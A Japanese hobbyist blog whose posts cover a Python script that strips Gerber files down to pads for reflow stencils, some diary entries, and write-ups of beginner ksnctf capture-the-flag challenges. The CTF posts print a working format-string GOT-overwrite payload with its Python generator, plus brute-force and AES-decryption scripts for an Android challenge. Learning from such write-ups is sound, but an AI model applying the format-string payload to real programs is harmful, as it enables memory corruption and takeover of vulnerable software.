読者です 読者をやめる 読者になる 読者になる

ガーバーファイル

電子工作

はんだ付にリフロー法というのがあるというのはご存知でしょうか。
はんだ付というと普通ははんだこてでランドとリード線を暖め糸はんだでくっつけるというのが一般的なのですが、リフロー法はそれとは全く異なるはんだの方法です。
具体的には表面実装のパーツをはんだ付するときに用います。
手順としては
・基盤のパッドの位置と大きさに合うように一部を切り取ったシート(ステンシル)をつくる。
・基盤とステンシルを重ね合わせクリームはんだをぬる。(そうすることでパッド部分のみにはんだが付着する)
・素子を乗せる。
・ホットプレートで温める
というようになります。

さて、幸運にも私が通う学校には基盤切削機、カッティングプロッタ、リフロー用ホットプレートが揃っていますのでリフロー法を試しやすい環境にあります。

私のような怠惰で飽きっぽい人間にとっては表面実装などという面倒なはんだづけをさらっと終わらせることのできるリフロー法はまさしく救い。ぜひとも積極的に使っていきたい……のですが、ひとつ難点がありまして、それは

ステンシルをつくるのがめんどくさい

ということでした。

今日はできるだけ簡単にステンシルを作る暫定的なメモを書いておこうと思います。

まずeagleで基盤データを作成。そこからガーバーファイルを出力する。出てきたガーバーファイルをgerbvに読み込み不必要な部分を削除、svgにエクスポートする。illustratorにインポート、.aiとして出力する。.aiファイルをカッティングプロッタのソフトに読み込まる。
というのが最初私が思いついた方法で上手くいきました。
しかし、やっぱりめんどくさいんですね。具体的にはgerbvで不必要な部分を削除するのが面倒だったんです。

そこでそこの部分をスクリプトでやっちまえというのが今回の本題です。

スクリプトに処理して欲しいことは、パッド以外の全ての部分を削除すること、このことを念頭に置きながらガーバーフォーマット(RS274)の仕様について読み進めると以下の処理を行えばいいことがわかりました。

・%AD〜Rの文があったら〜の部分を抜き出しリストを作る。(四角形の形状をしたもののリストを作る)
・D01やD32など、Dから始まる命令を抜き出し、
  D01やD02、D03でなかったなら
    それが上記のリストに存在するか確認
       あったならフラグをセット
なかったならフラグをリセット
D01,D02,D03のいずれかであったなら
    フラグがリセットされていたなら
       それがD01かD03ならそれをD02に置き換える(四角形以外削除)


これを行うスクリプトは以下のようになります。

#!/usr/bin/python

import re
import parse

src=open("s.grb","r")
dst=open("dst.grb","w")
np=re.compile("D[0-9]+")
ecadp=parse.compile("{}AD{rectangle}R{}")
reclist=[]
recflag=False
for r in src:
    if r[0]=="%":
        result=ecadp.parse(r)
        if result!=None:
            reclist.append(result["rectangle"])
    else:
        tmp=np.findall(r)
    
        if len(tmp)!=0:
            for d in tmp:
                if d!="D01" and d!="D02" and d!="D03":
                    recflag= d in reclist 
                    if recflag:
                        print d
                    
        if not recflag:
            r=re.sub("D01","D02",r)
            r=re.sub("D03","D02",r)
            
    dst.write(r)

src.close()
dst.close()

これで実験してみましょう。
f:id:lilyext:20160413221916p:plain
先ほどのスクリプトを実行すると……
f:id:lilyext:20160413221900p:plain

上手く行きました。
他の基盤についても試してみましたが基本的には成功しました。

しかし、失敗した例もありまして、確かにパッドのみ残るのですが、幾つかのパッドも消えてしまっていました。その原因としましてはそのガーバーファイルのパッド部が%ADによって定義された四角形を用いずに線などの重なりでパッドを表現されていることでした。

うーん……これ、どうやって解決すればいいのだろうか……

4月になりました。

だんだん暖かくなってきましたね。
我が家で勝っている亀も冬眠から覚めたようです。


あぁ……新学年……憂鬱だぁ……

ざっとメモ

ksnctf

ksnctf.sweetduet.info

これに挑戦。
問題文が表示され、その答えを入力していく感じ。
Ollydbgを使って不正解を弾く部分にブレイクポイントをセットして引っ掛かったら書き換えるのを繰り返し最後まで到達。最後の問はWhat is the flag?というもの。答えが入っているメモリのアドレスと自分が入力したものが入っているメモリのアドレスを特定。答えについては暗号化がなされておりそのまま読み取る訳にはいかなかった。自分が入力したものについても暗号化されていた。位置に依存する換字暗号?みたいな感じ。暗号化のアルゴリズムを読み取るのはめんどくさかったのでA〜Z,a〜z,0〜9をそれぞれ大量に入力欄に打ち込み、暗号化後の文字列が納められているメモリを参照することで対応表を得る。あとはその対応表を元に暗号化されているflagを解読するだけ。

ksnctf.sweetduet.info


これにも挑戦。
プロパティを見ると中間言語と書いてあったので、ILspyを用いて逆コンパイル。フラグを処理、表示するための部分だけをスクリプトで再現。

ksnctf.sweetduet.info

さらにこれにも挑戦。Ollydbgを使ってそれっぽい命令を書き換えると画面の左上にフラグが表示された。

CTFその2

ksnctf

CTFに挑戦してみました。
挑戦したのはこの問題
ksnctf - 15 Jewel
今回は250ポイント。
まずはapkをダウンロードしました。

セキュリティについての知識が問われているのによくわからないアプリを実機に入れるのってどうなんだろうか……とセルフツッコミをいれながらとりあえず実機にインストール。

なんかエラー出てきた……

調べてみるとapkからJavaのソースファイルを得ることができるというのでやってみることにしました。

その結果得たのが
3つのファイル、JewelActivity.java,a.java,b.java
このうちa.javaとb.javaには大したことが書いてありませんでした。
主な処理はJewelActivity.javaで行われていました。
バイスIDを秘密鍵としたAESで何らかのファイルの復号を行っているようです。
要は適切なデバイスIDを発見しさえすればよいのですね。

さて、デバイスIDは15桁の数字(0~9)で表されますが、そのうち上位8桁はソースコードを参照することで把握出来ているので、あとは残りの七桁を特定すればよいはずです



候補となるデバイスIDをsha256にかけ、出てきたハッシュがソースコードにある値と一致したならば、それが求めるべきデバイスIDです。
以下のような簡単なスクリプトを書くと……

import hashlib

for i in range(0,10000000):
    tmp="99999991%07d" % i    
    hash=hashlib.sha256(tmp).hexdigest()
    if hash=="356280a58d3c437a45268a0b226d8cccad7b5dd28f5d1b37abf1873cc426a8a5":
        print tmp

で、表示された値を用いて、復号します。

from Crypto.Cipher import AES

srcimg="jewel_c.png"
dstimg="flag.png"
inf=open(srcimg,'r')
data=inf.read()
cipher=AES.new("!999999913371337",AES.MODE_CBC,"kLwC29iMc4nRMuE5")
ans=cipher.decrypt(data)
outf=open(dstimg,"w")
outf.write(ans)
inf.close()
outf.close()

フラグは画像のコメント欄に。

クリア。

HDDの調子がやばい。

PC

HDDの調子がなんかやばいです……

明日あたり買いに行こうかな……

友人がCTFというものをやっているらしく、

ksnctf

わたしもやってみました、CTF。

どうもCTFというのは"Capture the flag"の略で、コンピュータセキュリティについての知見を試す競技(?)だそうですね。

ちょっと調べてみると、ksnctf
ksnctf.sweetduet.info
というのが初心者向けだそうで、早速試してみました。

なるほど、問題によって点数が異なるのね……とりあえずぱっと見て点数の高い4問目

ksnctf - 4 Villager A
に挑戦してみました。

早速sshでアクセスして、

ssh -p 10022 q4@ctfq.sweetduet.info

ちょっと調べてみる。
f:id:lilyext:20160319205937p:plain
ムカつくなぁ……
とりあえずq4をscpで落としてきた。
さて、どうするか……
とは言っても、こちとらコンピュータセキュリティについては無知もいいところ、プログラミングについてもちょくちょくやっているくらい。まぁ思いつかない。
しばらく考えていると、scanfとかは実際のプログラムに使っちゃいけないよ!!バグの元になるからね!!とかC言語の初心者用のサイトとかに書いてあったなぁ……と思い出した。このしょぼい思いつきを元に調べていくと
書式文字列攻撃 - Wikipediaというのに行き着いた。
これかなぁと思ったので書式文字列攻撃をq4に仕掛けていくという方針で考えてみることにした。
Wikiには具体的な方法は書いてはなかったのでさらに調べていくと
inaz2.hatenablog.com
こちらのサイトが出てきたので参考にさせて頂いた。
へぇ……すっごい……
まとめると

  • 書式文字列攻撃は入力された文字列をそのままprintfやfputsといった書式文字列を解釈する関数に渡す際に起こりうるということ。
  • 入力された文字列に%d,%cなどの書式文字列が入っていた場合はスタックの中身を見られ、%nが入っていた場合はメモリの中身を任意に書き換えられる恐れがあること。
  • つまり入力する書式文字列を工夫することによって任意の命令を実行することすることすら可能になることが可能になること(!)

ことがわかった。

ちょっとq4に試してみると、
f:id:lilyext:20160319210016p:plain
おおお!!何か有効っぽい!!('A'は0x41として表される.)

なんで有効だと思うのかといえば、

  • printfなどは入力された書式文字列に対応する値が引数としてスタックに積まれているものとして値を取りに行く。(実際の引数がどのくらい積まれているかはprintfにはわからない)
  • スタックに積まれているものはリターンアドレスや引数だけでなく、局所変数も積まれている。
  • 入力された文字列は局所変数に収められている(かも?)

→つまり%xによって入力した0x41(='A')が表示されるということは入力された文字列が局所変数に収められている

ここで%xの数をいろいろ変えて試してみると、入力された文字列が収められている局所変数の配列の先頭アドレス(これがprintfの第一引数)から6番目のスタックの位置から入力された文字列が収めれれていることがわかる。

とりあえず書式文字列攻撃が有効らしいことはわかったのでこれを利用してどうやってflagを手に入れるかを考えてみた。
何をするにしても情報が不足しているのでまずはq4をディスアセンブルしてみることにした。

objdump -D ./q4 >> ./q4.s

眺めているとfopenを発見。これによってflag.txtの中身を見ることが出来るが、何らかの要因によってfopenが呼び出されない。→つまり、書式文字列攻撃によるメモリ書き換えによってこの関数にたどり着けばいいのではないか、と予想を立てる。

先ほど参考にさせていただいたサイトによって、GOTという場所を書き換えればいいということがわかった。
putsのアドレスを書き換えることにする。

この時点で

  • 入力された文字列のスタック上の位置
  • 書き換える場所→0x80499f4(putsのアドレスがあるメモリのアドレス)
  • 書き込む値→0x8048691(fopenの引数を積む命令がここから始まる)

が決定できた。

とりあえずgdbでこの方針が正しいか確かめる。
最初のfgetsが実行された直後にブレイクポイントを指定しそのタイミングで0x80499f4の値を0x8048691に書き換えてflag.txtの中身が表示されるか確かめてみる。ちなみにflag.txtにはとりあえず"ふらぐだよーん。"と入力しておいた。

f:id:lilyext:20160319210043p:plain
上手くいった!!

あとはどんな書式文字列を送り込むかだけだ。
エンディアン(多バイトデータの並べ方)を考慮して、以下のように書き換える。
[アドレス] [値]
0x80499f4←0x91
0x80499f5←0x86
0x80499f6←0x04
0x80499f7←0x08

まず文字列の先頭に来るのは書き込む対象であるアドレスたち。(これらがスタック上において文字列のアドレスがある位置から6番目から並ぶ。)

%n(それまでに書き込んだ文字数を指定するアドレスに書き込む書式文字)を使って書き換えるので書き込みたい値となるまで文字を出力する必要があるのでその計算をする。
まず0x91を書き込む時点ではすでにアドレス分だけ出力している(16バイト)ので0x80499f4に値を書き込む前に129(=0x41-16)だけ適当な文字を出力する必要がある。よって次に来るのは"%129c"。その次にようやく"%6$n"。
同様にして0x86+0x100-0x91を計算して"%245c"。その次に"%7$n"。(0x100を足しているのは負にならないようにするため。0x100を足しても0x80499f5には下位1バイトのみ書き込まれるので影響はない。)
同様にして0x04+0x100-0x86を計算して"%126c"。その次に"%8$n"。
同様にして0x08-0x04を計算して"%4c"、その次に"%9$n"。

これにて送り込む文字列が完成しました!!こんな感じです!!

[0x80499f4][0x80499f5][0x80499f6][0x80499f7]+"%129c%6$n%245c%7$n%126c%8$n%4c%9$n"(アドレスは16進数)

では、こんな感じのコードを書いて、

import struct


addr=0x080499f4
stratk=struct.pack('<I',addr)
stratk+=struct.pack('<I',addr+1)
stratk+=struct.pack('<I',addr+2)
stratk+=struct.pack('<I',addr+3)
stratk+='%129c%6$n%245c%7$n%126c%8$n%4c%9$n'
print stratk

試してみると……
f:id:lilyext:20160319210056p:plain

成功しました。やった!!

つ、疲れた……

けど、面白かった……










ブログ始めました。

ブログ始めました。

日記として、備忘録として書いていこうと思っています。